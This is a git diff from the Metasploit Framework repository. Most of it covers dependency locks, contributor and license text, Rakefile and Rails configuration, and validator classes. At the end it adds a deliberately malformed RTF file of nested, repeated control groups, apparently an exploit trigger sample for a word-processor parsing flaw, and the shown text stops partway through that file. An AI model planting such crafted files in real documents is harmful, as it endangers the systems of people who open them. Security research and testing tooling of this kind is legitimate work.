||||
treetop (1.4.15)
|
||||
polyglot
|
||||
polyglot (>= 0.3.1)
|
||||
tzinfo (0.3.41)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.8.7.4)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
activerecord
|
||||
activesupport (>= 3.0.0)
|
||||
database_cleaner
|
||||
activerecord (>= 3.0.0, < 4.0.0)
|
||||
aruba
|
||||
cucumber-rails
|
||||
factory_girl (>= 4.1.0)
|
||||
factory_girl_rails
|
||||
fivemat (= 1.2.1)
|
||||
json
|
||||
metasploit_data_models (~> 0.16.6)
|
||||
msgpack
|
||||
metasploit-credential (>= 0.9.0)
|
||||
metasploit-framework!
|
||||
metasploit_data_models (~> 0.19)
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
pry
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
rspec (>= 2.12, < 3.0.0)
|
||||
rspec-rails (>= 2.12, < 3.0.0)
|
||||
shoulda-matchers
|
||||
simplecov (= 0.5.4)
|
||||
timecop
|
||||
|
|
|
|||
147
HACKING
147
HACKING
|
|
@ -1,143 +1,38 @@
|
|||
# $Id$
|
||||
HACKING
|
||||
=======
|
||||
|
||||
This file contains some brief instructions on contributing to the
|
||||
Metasploit Framework.
|
||||
(Last updated: 2014-03-04)
|
||||
|
||||
Code Style
|
||||
==========
|
||||
This document almost entirely deprecated by:
|
||||
|
||||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
CONTRIBUTING.md
|
||||
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
- Method names should always be lower_case and words separated by "_"
|
||||
- Variable names should be lower case with words separated by "_"
|
||||
- Don't depend on any external gems or libraries without talking to
|
||||
todb to resolve packaging and licensing issues
|
||||
in the same directory as this file, and to a lesser extent:
|
||||
|
||||
You can use the the "./tools/msftidy.rb" script to do some rudimentary
|
||||
checking for various violations.
|
||||
The Metasploit Development Environment
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
|
||||
|
||||
Common Coding Mistakes
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
|
||||
|
||||
Code No-Nos
|
||||
===========
|
||||
The Ruby Style Guide
|
||||
https://github.com/bbatsov/ruby-style-guide
|
||||
|
||||
1. Don't print to standard output. Doing so means that users of
|
||||
interfaces other than msfconsole, such as msfrpc and msfgui, won't see
|
||||
your output. You can use print_line to accomplish the same thing as
|
||||
puts.
|
||||
Ruby 1.9: What to Expect
|
||||
http://slideshow.rubyforge.org/ruby19.html
|
||||
|
||||
2. Don't read from standard input, doing so will make your code
|
||||
lock up the entire module when called from other interfaces. If you
|
||||
need user input, you can either register an option or expose an
|
||||
interactive session type specific for the type of exploit.
|
||||
You can use the the "./tools/msftidy.rb" script against your new and
|
||||
changed modules to do some rudimentary checking for various style and
|
||||
syntax violations.
|
||||
|
||||
3. Always use Rex sockets, not ruby sockets. This includes
|
||||
third-party libraries such as Net::Http. There are several very good
|
||||
reasons for this rule. First, the framework doesn't get notified on
|
||||
the creation of ruby sockets and won't know how to clean them up in
|
||||
case your module raises an exception without cleaning up after itself.
|
||||
Secondly, non-Rex sockets do not know about routes and therefore can't
|
||||
be used through a meterpreter tunnel. Lastly, regular sockets miss
|
||||
out on msf's proxy and SSL features. Msf includes many protocols
|
||||
already implemented with Rex and if the protocol you need is missing,
|
||||
porting another library to use them is straight-forward. See our
|
||||
Net::SSH modifications in lib/net/ssh/ for an example.
|
||||
Licensing for Your New Content
|
||||
==============================
|
||||
|
||||
4. When opening an IO stream, always force binary with "b" mode (or
|
||||
using IO#binmode). This not only helps keep Windows and non-Windows
|
||||
runtime environments consistent with each other, but also guarantees
|
||||
that files will be treated as ASCII-8BIT instead of UTF-8.
|
||||
|
||||
5. Don't use String#[] for a single character. This returns a Fixnum in
|
||||
ruby 1.8 and a String in 1.9, so it's safer to use the following idiom:
|
||||
str[idx,1]
|
||||
which always returns a String. If you need the ASCII byte, unpack it like
|
||||
so:
|
||||
tr[idx,1].unpack("C")[0]
|
||||
|
||||
6. Whenever possible, avoid using '+' or '+=' to concatenate strings.
|
||||
The '<<' operator is significantly faster. The difference will become
|
||||
even more apparent when doing string manipulation in a loop. The
|
||||
following table approximates the underlying implementation:
|
||||
|
||||
Ruby Pseudo-C
|
||||
----------- ----------------
|
||||
a = b + c a = malloc(b.len+c.len+1);
|
||||
strcpy(a, b);
|
||||
memcpy(a+b.len, c, c.len);
|
||||
a[b.len + c.len] = '\0';
|
||||
a = b a = b;
|
||||
a << c a = realloc(a, a.len+c.len+1);
|
||||
memcpy(a+a.len, c, c.len);
|
||||
a[a.len + c.len] = '\0';
|
||||
|
||||
Note that the original value of 'b' is lost in the second case. Care
|
||||
must be taken to duplicate strings that you do not want to modify.
|
||||
|
||||
7. For other Ruby 1.8.x/1.9.x compat issues, please see Sam Ruby's
|
||||
excellent slide show at <http://slideshow.rubyforge.org/ruby19.html>
|
||||
for an overview of common and not-so-common Ruby version related gotchas.
|
||||
|
||||
8. Never, ever use $global variables. This applies to modules, mixins,
|
||||
and libraries. If you need a "global" within a specific class, you can
|
||||
use @@class_variables, but most modules should use @instance variables
|
||||
to store information between methods.
|
||||
|
||||
Creating New Modules
|
||||
====================
|
||||
|
||||
When creating a new module, the simplest way to start is to copy
|
||||
another module that uses the same protocol and modify it to your
|
||||
needs. If you're creating an exploit module, generally you'll want
|
||||
to edit the exploit() method. Auxiliary Scanner modules use one of
|
||||
run_host(), run_range(), or run_batch() instead of exploit().
|
||||
Non-scanner aux modules use run().
|
||||
|
||||
|
||||
Submitting Your Code
|
||||
====================
|
||||
|
||||
To get started with a Metasploit Framework source clone, simply:
|
||||
|
||||
- Fork rapid7/metasploit-framework to your GitHub account
|
||||
- git clone git://github.com/YourName/metasploit-framework.git
|
||||
- gem install bundler
|
||||
- bundle install
|
||||
|
||||
More detailed documentation regarding the process for submitting new
|
||||
modules via GitHub is documented here:
|
||||
|
||||
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
|
||||
|
||||
This describes the process of forking, editing, and generating a
|
||||
pull request, and is the preferred method for bringing new modules
|
||||
and framework enhancements to the attention of the core Metasploit
|
||||
development team. Note that this process requires a GitHub account.
|
||||
|
||||
For Git commits, please adhere to 50/72 formatting: your commits should
|
||||
start with a line 50 characters or less, followed by a blank line,
|
||||
followed by one or more lines of explanatory text wrapped at at 72
|
||||
characters Pull requests with commits not formatted this way will
|
||||
be rejected without review.
|
||||
|
||||
For modules, note that Author field is not automatic, and should be
|
||||
filled in in the format of 'Your Name <user[at]domain.tld>' so future
|
||||
developers can contact you with any questions.
|
||||
|
||||
Licensing
|
||||
=========
|
||||
By submitting code contributions to the Metasploit Project it is
|
||||
assumed that you are offering your code under the Metasploit License
|
||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||
or similar 3-clause BSD-compatible license. MIT and Ruby Licenses
|
||||
are also fine. We specifically cannot include GPL code. LGPL code
|
||||
is accepted on a case by case basis for libraries only and is never
|
||||
is accepted on a case by case basis for libraries only and is never
|
||||
accepted for modules.
|
||||
|
||||
When possible, such as aux and exploit modules, be sure to include
|
||||
your license designation in the file in the appropriate place.
|
||||
|
||||
|
|
|
|||
112
LICENSE
112
LICENSE
|
|
@ -2,19 +2,23 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
|||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2013, Rapid7 Inc.
|
||||
Copyright: 2006-2014, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
# at the end of this file.
|
||||
#
|
||||
# The copyright on this package is held by Rapid7 LLC.
|
||||
# The copyright on this package is held by Rapid7, Inc.
|
||||
#
|
||||
# This license does not apply to third-party components detailed below.
|
||||
#
|
||||
# Last updated: 2013-Nov-04
|
||||
#
|
||||
|
||||
Files: data/templates/to_mem_pshreflection.ps1.template
|
||||
Copyright: 2012, Matthew Graeber
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: data/john/*
|
||||
Copyright: 1996-2011 Solar Designer.
|
||||
License: GPL-2
|
||||
|
|
@ -32,6 +36,10 @@ Files: external/ruby-lorcon/*
|
|||
Copyright: 2005, dragorn and Joshua Wright
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
|
||||
Files: external/source/byakugan/*
|
||||
Copyright: Lurene Grenier, 2009
|
||||
License: BSD-3-clause
|
||||
|
|
@ -41,93 +49,10 @@ Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
|
|||
2007 H D Moore <hdm [at] metasploit.com>
|
||||
License: GPL-2 and Artistic
|
||||
|
||||
Files: external/source/meterpreter/ReflectiveDLLInjection/*
|
||||
Copyright: 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
Files: external/source/ReflectiveDLLInjection/*
|
||||
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/meterpreter/source/common/queue.h
|
||||
Copyright: 1991, 1993 The Regents of the University of California
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/meterpreter/source/common/zlib/* external/source/meterpreter/source/server/zlib/*
|
||||
Copyright: 1995-1996 Jean-loup Gailly and Mark Adler
|
||||
License: Zlib
|
||||
|
||||
Files: external/source/meterpreter/source/bionic/libc/*
|
||||
Copyright: 2005-2008, The Android Open Source Project
|
||||
2004 by Internet Systems Consortium, Inc. ("ISC")
|
||||
1995,1996,1999 by Internet Software Consortium
|
||||
1995 by International Business Machines, Inc.
|
||||
1997,1998,1999,2004 The NetBSD Foundation, Inc.
|
||||
1993 Christopher G. Demetriou
|
||||
1983,1985,1989,1993 The Regents of the University of California
|
||||
2000 Ben Harris
|
||||
1995,1996,1997,1998 WIDE Project
|
||||
2003 Networks Associates Technology, Inc.
|
||||
1993 by Digital Equipment Corporation
|
||||
1997 Mark Brinicombe
|
||||
1993 Martin Birgmeier
|
||||
1993 by Sun Microsystems, Inc.
|
||||
1997, 2005 Todd C. Miller <Todd.Miller@courtesan.com>
|
||||
1995, 1996 Carnegie-Mellon University
|
||||
2003 Networks Associates Technology, Inc.
|
||||
License: BSD-3-clause and BSD-4-clause
|
||||
|
||||
Files: external/source/meterpreter/source/bionic/libdl/*
|
||||
Copyright: 2007 The Android Open Source Project
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/meterpreter/source/bionic/libm/*
|
||||
Copyright: 2003, Steven G. Kargl
|
||||
2003 Mike Barcroft <mike@FreeBSD.org>
|
||||
2002-2005 David Schultz <das@FreeBSD.ORG>
|
||||
2004 Stefan Farfeleder
|
||||
2003 Dag-Erling Coïdan Smørgrav
|
||||
1996 The NetBSD Foundation, Inc.
|
||||
1985,1988,1991,1992,1993 The Regents of the University of California
|
||||
1993,94 Winning Strategies, Inc.
|
||||
1993, 2004 by Sun Microsystems, Inc.
|
||||
License: BSD-2-clause and BSD-3-clause and BSD-4-clause
|
||||
|
||||
Files: external/source/meterpreter/source/extensions/espia/screen.c
|
||||
Copyright: 1994-2008, Mark Hammond
|
||||
License: BSD-2-clause
|
||||
|
||||
Files: external/source/meterpreter/source/extensions/priv/server/timestomp.c
|
||||
Copyright: 2005 Vincent Liu
|
||||
License: GPL-2
|
||||
|
||||
Files: external/source/meterpreter/source/extensions/stdapi/server/webcam/bmp2jpeg.c external/source/meterpreter/source/screenshot/bmp2jpeg.c
|
||||
Copyright: 1994-2008, Mark Hammond
|
||||
License: BSD-2-clause
|
||||
|
||||
Files: external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun.c
|
||||
Copyright: 2010, patrickHVE@googlemail.com
|
||||
License: BSD-2-clause
|
||||
|
||||
Files: external/source/meterpreter/source/pssdk/*
|
||||
Copyright: microOLAP
|
||||
License: N/A
|
||||
Comment: HD Moore holds a single-seat developer license for the Packet Sniffer
|
||||
SDK library embedded into the Meterpreter Sniffer extension. This
|
||||
source code is not distributed with Metasploit Framework.
|
||||
|
||||
Files: external/source/meterpreter/source/openssl/*
|
||||
Copyright: 1998-2002 The OpenSSL Project
|
||||
License: OpenSSL and SSLeay
|
||||
|
||||
Files: external/source/meterpreter/source/server/posix/sfsyscall.h
|
||||
Copyright: 2003 Philippe Biondi <biondi@cartel-securite.fr>
|
||||
License: LGPL
|
||||
|
||||
Files: external/source/meterpreter/source/jpeg-8/*
|
||||
Copyright: 1991-2010, Thomas G. Lane, Guido Vollbeding
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/meterpreter/source/libpcap/*
|
||||
Copyright: 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 The Regents of the University of California.
|
||||
License: BSD-4-clause
|
||||
|
||||
Files: external/source/metsvc/*
|
||||
Copyright: 2007, Determina Inc.
|
||||
License: BSD-3-clause
|
||||
|
|
@ -163,7 +88,7 @@ Copyright: 2005-2009, Joel VanderWerf
|
|||
License: Ruby
|
||||
|
||||
Files: lib/fastlib.rb
|
||||
Copyright: 2011, Rapid7 Inc.
|
||||
Copyright: 2011, Rapid7, Inc.
|
||||
License: Ruby
|
||||
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
|
|
@ -230,6 +155,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb
|
|||
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: data/webcam/api.js
|
||||
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
|
||||
License: MIT
|
||||
|
||||
|
||||
#
|
||||
# Gems
|
||||
#
|
||||
|
|
@ -250,6 +180,10 @@ Files: arel
|
|||
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
|
||||
License: MIT
|
||||
|
||||
Files: bcrypt
|
||||
Copyright: 2007-2011 Coda Hale
|
||||
License: MIT
|
||||
|
||||
Files: builder
|
||||
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
|
||||
License: MIT
|
||||
|
|
@ -384,7 +318,7 @@ License: BSD-3-clause
|
|||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
.
|
||||
* Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
* Neither the name of Rapid7, Inc. nor the names of its contributors
|
||||
may be used to endorse or promote products derived from this software
|
||||
without specific prior written permission.
|
||||
.
|
||||
|
|
|
|||
|
|
@ -24,10 +24,11 @@ The mailing list archives are available from:
|
|||
|
||||
Installing
|
||||
--
|
||||
Generally, you should use the installer which contains all dependencies
|
||||
and will get you up and running with a few clicks. See the [Dev
|
||||
Environment Setup][wiki-devenv] if you'd like to deal with dependencies
|
||||
on your own.
|
||||
|
||||
Generally, you should use [the free installer](https://www.metasploit.com/download)
|
||||
which contains all dependencies and will get you up and running with a
|
||||
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
|
||||
you'd like to deal with dependencies on your own.
|
||||
|
||||
Using Metasploit
|
||||
--
|
||||
|
|
|
|||
|
|
@ -1,81 +1,11 @@
|
|||
require 'bundler/setup'
|
||||
|
||||
pathname = Pathname.new(__FILE__)
|
||||
root = pathname.parent
|
||||
|
||||
# add metasploit-framework/lib to load paths so rake files can just require
|
||||
# files normally without having to use __FILE__ and recalculating root and the
|
||||
# path to lib
|
||||
lib_pathname = root.join('lib')
|
||||
$LOAD_PATH.unshift(lib_pathname.to_s)
|
||||
#!/usr/bin/env rake
|
||||
require File.expand_path('../config/application', __FILE__)
|
||||
require 'metasploit/framework/require'
|
||||
|
||||
# @note must be before `Metasploit::Framework::Application.load_tasks`
|
||||
#
|
||||
# load rake files like a rails engine
|
||||
#
|
||||
# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if
|
||||
# the user installs with `bundle install --without db`
|
||||
Metasploit::Framework::Require.optionally_active_record_railtie
|
||||
|
||||
rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path
|
||||
|
||||
Dir.glob(rakefile_glob) do |rakefile|
|
||||
# Skip database tasks, will load them later if MDM is present
|
||||
next if rakefile =~ /database\.rake$/
|
||||
load rakefile
|
||||
end
|
||||
|
||||
print_without = false
|
||||
|
||||
begin
|
||||
require 'rspec/core/rake_task'
|
||||
rescue LoadError
|
||||
puts "rspec not in bundle, so can't set up spec tasks. " \
|
||||
"To run specs ensure to install the development and test groups."
|
||||
|
||||
print_without = true
|
||||
else
|
||||
RSpec::Core::RakeTask.new(:spec => 'db:test:prepare')
|
||||
|
||||
task :default => :spec
|
||||
end
|
||||
|
||||
# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if
|
||||
# YARD is not defined when yard.rake is loaded.
|
||||
begin
|
||||
require 'yard'
|
||||
rescue LoadError
|
||||
puts "yard not in bundle, so can't set up yard tasks. " \
|
||||
"To generate documentation ensure to install the development group."
|
||||
|
||||
print_without = true
|
||||
end
|
||||
|
||||
begin
|
||||
require 'metasploit_data_models'
|
||||
rescue LoadError
|
||||
puts "metasploit_data_models not in bundle, so can't set up db tasks. " \
|
||||
"To run database tasks, ensure to install the db bundler group."
|
||||
|
||||
print_without = true
|
||||
else
|
||||
load 'lib/tasks/database.rake'
|
||||
metasploit_data_models_task_glob = MetasploitDataModels.root.join(
|
||||
'lib',
|
||||
'tasks',
|
||||
'**',
|
||||
'*.rake'
|
||||
).to_s
|
||||
# include tasks from metasplioit_data_models, such as `rake yard`.
|
||||
# metasploit-framework specific yard options are in .yardopts
|
||||
Dir.glob(metasploit_data_models_task_glob) do |path|
|
||||
load path
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
if print_without
|
||||
puts "Bundle currently installed " \
|
||||
"'--without #{Bundler.settings.without.join(' ')}'."
|
||||
puts "To clear the without option do `bundle install --without ''` " \
|
||||
"(the --without flag with an empty string) or " \
|
||||
"`rm -rf .bundle` to remove the .bundle/config manually and " \
|
||||
"then `bundle install`"
|
||||
end
|
||||
Metasploit::Framework::Application.load_tasks
|
||||
|
|
|
|||
|
|
@ -0,0 +1,23 @@
|
|||
# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under
|
||||
# {BruteForce::Reuse}.
|
||||
require 'metasploit/framework/credential'
|
||||
|
||||
module Metasploit::Credential::Core::ToCredential
|
||||
extend ActiveSupport::Concern
|
||||
|
||||
included do
|
||||
|
||||
def to_credential
|
||||
Metasploit::Framework::Credential.new(
|
||||
public: public.try(:username) || '',
|
||||
private: private.try(:data) || '',
|
||||
private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym),
|
||||
realm: realm.try(:value),
|
||||
realm_key: realm.try(:key),
|
||||
parent: self
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,2 @@
|
|||
require 'metasploit/framework/file_path_validator'
|
||||
require 'metasploit/framework/executable_path_validator'
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
module Metasploit
|
||||
module Framework
|
||||
# This is a ActiveModel custom validator that assumes the attribute
|
||||
# is supposed to be the path to a regular file. It checks whether the
|
||||
# file exists and whether or not it is an executable file.
|
||||
class ExecutablePathValidator < ActiveModel::EachValidator
|
||||
|
||||
def validate_each(record, attribute, value)
|
||||
unless ::File.executable? value
|
||||
record.errors[attribute] << (options[:message] || "is not a valid path to an executable file")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
module Metasploit
|
||||
module Framework
|
||||
# This is a ActiveModel custom validator that assumes the attribute
|
||||
# is supposed to be the path to a regular file. It checks whether the
|
||||
# file exists and whether or not it is a regular file.
|
||||
class FilePathValidator < ActiveModel::EachValidator
|
||||
|
||||
def validate_each(record, attribute, value)
|
||||
unless ::File.file? value
|
||||
record.errors[attribute] << (options[:message] || "is not a valid path to a regular file")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
all_environments = [
|
||||
:development,
|
||||
:production,
|
||||
:test
|
||||
]
|
||||
|
||||
Bundler.require(
|
||||
*Rails.groups(
|
||||
db: all_environments,
|
||||
pcap: all_environments
|
||||
)
|
||||
)
|
||||
|
||||
#
|
||||
# Railties
|
||||
#
|
||||
|
||||
# For compatibility with jquery-rails (and other engines that need action_view) in pro
|
||||
require 'action_view/railtie'
|
||||
|
||||
#
|
||||
# Project
|
||||
#
|
||||
|
||||
require 'metasploit/framework/common_engine'
|
||||
require 'metasploit/framework/database'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
class Application < Rails::Application
|
||||
include Metasploit::Framework::CommonEngine
|
||||
|
||||
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Silence warnings about this defaulting to true
|
||||
I18n.enforce_available_locales = true
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
require 'pathname'
|
||||
require 'rubygems'
|
||||
|
||||
GEMFILE_EXTENSIONS = [
|
||||
'.local',
|
||||
''
|
||||
]
|
||||
|
||||
msfenv_real_pathname = Pathname.new(__FILE__).realpath
|
||||
root = msfenv_real_pathname.parent.parent
|
||||
|
||||
unless ENV['BUNDLE_GEMFILE']
|
||||
require 'pathname'
|
||||
|
||||
GEMFILE_EXTENSIONS.each do |extension|
|
||||
extension_pathname = root.join("Gemfile#{extension}")
|
||||
|
||||
if extension_pathname.readable?
|
||||
ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
require 'bundler'
|
||||
rescue LoadError
|
||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||
$stderr.puts " $ gem install bundler"
|
||||
exit(0)
|
||||
end
|
||||
|
||||
Bundler.setup
|
||||
|
||||
lib_path = root.join('lib').to_path
|
||||
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
$LOAD_PATH.unshift lib_path
|
||||
end
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
<%
|
||||
rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : ""
|
||||
rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}"
|
||||
std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip"
|
||||
ignored_tags = "--tags ~@boot --tags ~@targets"
|
||||
%>
|
||||
default: <%= std_opts %> <%= ignored_tags %> features
|
||||
boot: <%= std_opts %> --tags @boot features
|
||||
wip: --tags @wip:3 --wip features
|
||||
rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
# Load the rails application
|
||||
require File.expand_path('../application', __FILE__)
|
||||
|
||||
# Initialize the rails application
|
||||
Metasploit::Framework::Application.initialize!
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
Before Width: | Height: | Size: 3.0 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# Copyright (C) 2008 Metasploit LLC
|
||||
# Copyright (C) 2008 Rapid7, Inc.
|
||||
|
||||
#
|
||||
# This script extracts the forms from the main page of each
|
||||
|
|
|
|||
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
# Copyright (C) 2008 Metasploit LLC
|
||||
# Copyright (C) 2008 Rapid7, Inc.
|
||||
|
||||
#
|
||||
# This script extracts the forms from the main page of each
|
||||
|
|
|
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -0,0 +1 @@
|
|||
Any DjVu file can be used this is just a snazzy Metasploit one
|
||||
|
|
@ -0,0 +1,183 @@
|
|||
{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\*
|
||||
sidtbl
|
||||
{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\*
|
||||
sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
|
||||
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\*
|
||||
sidtbl
|
||||
sid8596814
|
||||
sid8926214
